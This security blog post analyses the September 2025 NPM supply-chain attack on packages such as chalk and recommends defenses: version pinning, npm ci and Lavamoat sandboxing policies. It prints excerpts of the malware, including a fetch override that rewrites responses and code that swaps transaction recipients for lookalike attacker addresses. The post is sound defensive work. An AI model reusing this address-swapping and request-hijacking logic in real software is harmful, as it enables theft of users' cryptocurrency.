Sep 13, 2025
How to Survive Supply-Chain Attacks
The recent supply-chain attack on NPM showed how easily trusted dependencies can become delivery vectors for malware. Learn how the attack worked and practical defenses developers can implement to stay safe.

The recent supply-chain attack on NPM sent shockwaves through the developer community and served as a stark reminder of the risks lurking within our dependencies. Malicious versions of widely used packages, including chalk
, were published containing sophisticated malware designed to steal cryptocurrency.
This attack highlights a fundamental vulnerability in the open-source ecosystem: any package you install gets the same permissions as your own code, giving it a free pass to important resources such as cookies and the network stack.
In this post, we'll break down how the malware worked and outline practical defenses developers can use, including Lavamoat, a tool already adopted by leaders in the web3 ecosystem.
Qix Malware: How It Worked
The attacker published modified versions of packages with code designed to do three things:
- Detect crypto wallets: The malware checked for Ethereum wallets like MetaMask.
async function checkethereumw() {
try {
const _0x124ed3 = await window.ethereum.request({
'method': "eth_accounts"
});
if (_0x124ed3.length > 0) {
runmask();
if (rund != 1) {
rund = 1;
neth = 1;
newdlocal();
}
} else if (rund != 1) {
rund = 1;
newdlocal();
}
}
}
- Intercept HTTP requests/responses and replace blockchain addresses with the attacker's wallet: (modified code for better understanding)
fetch = async function (...args) {
const originalResponse = await originalFetch.call(this, ...args);
const contentType = originalResponse.headers.get('Content-Type') || '';
let data;
if (contentType.includes('application/json')) {
data = await originalResponse.clone().json();
} else {
data = await originalResponse.clone().text();
}
const processedData = replaceAddresses(data);
const finalResponseText =
typeof processedData === 'string' ? processedData : JSON.stringify(processedData);
const finalResponse = new Response(finalResponseText, {
status: originalResponse.status,
statusText: originalResponse.statusText,
headers: originalResponse.headers,
});
return finalResponse;
};
- The malware intercepted wallet requests and silently replaced the receiver address with the attacker address. Instead of a blunt substitution, it used the Levenshtein distance algorithm to pick a lookalike address, which made it harder for victims to notice funds being siphoned.
if (_0x2c3d7e.method === 'eth_sendTransaction' && _0x2c3d7e.params && _0x2c3d7e.params[0]) {
try {
const _0x39ad21 = _0x1089ae(_0x2c3d7e.params[0], true);
_0x2c3d7e.params[0] = _0x39ad21;
} catch (_0x226343) {}
} else {
if (
(_0x2c3d7e.method === 'solana_signTransaction' ||
_0x2c3d7e.method === 'solana_signAndSendTransaction') &&
_0x2c3d7e.params &&
_0x2c3d7e.params[0]
) {
try {
let _0x5ad975 = _0x2c3d7e.params[0];
if (_0x5ad975.transaction) {
_0x5ad975 = _0x5ad975.transaction;
}
const _0x5dbe63 = _0x1089ae(_0x5ad975, false);
if (_0x2c3d7e.params[0].transaction) {
_0x2c3d7e.params[0].transaction = _0x5dbe63;
} else {
_0x2c3d7e.params[0] = _0x5dbe63;
}
} catch (_0x4b99fd) {}
}
}
Impact of the Attack
Despite the attack targeting popular NPM packages, the exploit was not very successful. After two days, the attacker's wallet was only able to drain about $1000. However, the takeaway is how easily a trusted dependency can become a delivery vector for malware.
Why It Will Happen Again
The decentralized nature of the open-source ecosystem, and particularly a massive registry like NPM, makes it an attractive and persistent target for attackers. Although this recent attack was quickly mitigated and financially minor, it served as a powerful and widely-publicized proof-of-concept showing how one compromised maintainer can distribute malware at scale.
With over two million packages and countless layers of direct and transitive dependencies, a compromise can cascade through thousands of projects in hours. It's the classic "needle in a haystack" problem, except the haystack keeps growing.
What Developers Can Do
If you are building critical systems where supply-chain attacks are an unacceptable risk in your threat model, here are some practical actions you can take:
1. Version pinning in package.json
Applications get compromised by supply-chain attacks when an attacker releases a new version of an NPM package and the application automatically downloads it to have the latest package version.
You can pin your dependency versions to make sure they won't get updated when running npm install
. To pin it, just make sure to remove the caret ^
symbol before the version in package.json
:
"@react-native-async-storage/async-storage": "1.23.1",
"@react-native-community/datetimepicker": "8.3.0",
"@react-native-community/netinfo": "11.4.1",
"@react-native-picker/picker": "2.11.0"
2. Use npm ci
npm ci
uses the dependency versions from package-lock.json
to install the packages. Consider using it in CI/CD workflows and only use npm install
when adding a new package or updating an existing one.
3. Implement Lavamoat
Basic hygiene helps, but it doesn’t solve the root issue: a minor utility package has the same permissions as your code. Lavamoat changes this model. Lavamoat, created by MetaMask, addresses this by sandboxing packages and enforcing least privilege. With it, even if a dependency contains malware, it cannot compromise the application.
Lavamoat uses SES (Hardened JavaScript) to enforce these restrictions, limiting the globals, functions, and sub-dependencies each package can access. The rules are defined in a policy file, which looks like this:
"resources": {
"@ethereumjs/util>@ethereumjs/rlp": {
"globals": {
"TextEncoder": true
}
},
"@ethereumjs/util": {
"globals": {
"console.warn": true,
"fetch": true
},
"packages": {
"@ethereumjs/util>@ethereumjs/rlp": true,
"@ethereumjs/util>ethereum-cryptography": true
}
}
}
In this example, it restricts the @ethereumjs/util
package to use only console.warn
and fetch
functions, and to include only @ethereumjs/rlp
and ethereum-cryptography
packages.
The policy files can be generated automatically and should be regenerated carefully, because if you generate a policy while a malicious package is installed, Lavamoat’s protection can be bypassed.
Lavamoat also automatically freezes the global objects to prevent them being replaced or tampered with. See Object.freeze.
Lavamoat vs Qix Malware
If a dApp were compromised with the Qix malware (say it used chalk
), it would need to perform the following actions to drain funds from a wallet:
- Replace
fetch
function to a custom one - Access
window.ethereum
- Call original
fetch
function - Plus other actions not relevant here
If the dApp is using Lavamoat with a generated policy for chalk 5.6.0
(non-malicious version) it would look like this:
"chalk": {
"globals": {
"navigator.userAgent": true,
"navigator.userAgentData": true
}
},
That means that the chalk dependency can only access these two global attributes from navigator
.
When the compromised dApp would execute the malicious payload of chalk v5.6.1
it would fail due to insufficient permissions:
This error shows that the malware failed since it cannot redefine fetch
function:
TypeError#1: Cannot define property fetch, object is not extensible
Lavamoat In Practice
The OtterSec team audited the Lavamoat Webpack Plugin in late 2024 and identified vulnerabilities that attackers could abuse to bypass Lavamoat protections (see the audit report).
Like any security tool, it isn’t flawless, but it represents an important shift: it minimizes what malicious code can do, rather than assuming every dependency deserves full trust. Supply-chain attacks are designed to hit as many victims as possible, not to target individual organizations. By implementing Lavamoat, you dramatically reduce your exposure and force attackers to look elsewhere.
Final Thoughts
The NPM incident may not have caused massive losses, but it was a clear proof-of-concept for how fragile the current model is. Supply-chain attacks will happen again, and relying on registry security alone is not enough.
Version pinning and npm ci
provide a baseline defense, but Lavamoat represents the next step: enforcing least privilege for dependencies. If you’re building critical applications, adopting and contributing to Lavamoat is one of the most effective ways to stay ahead.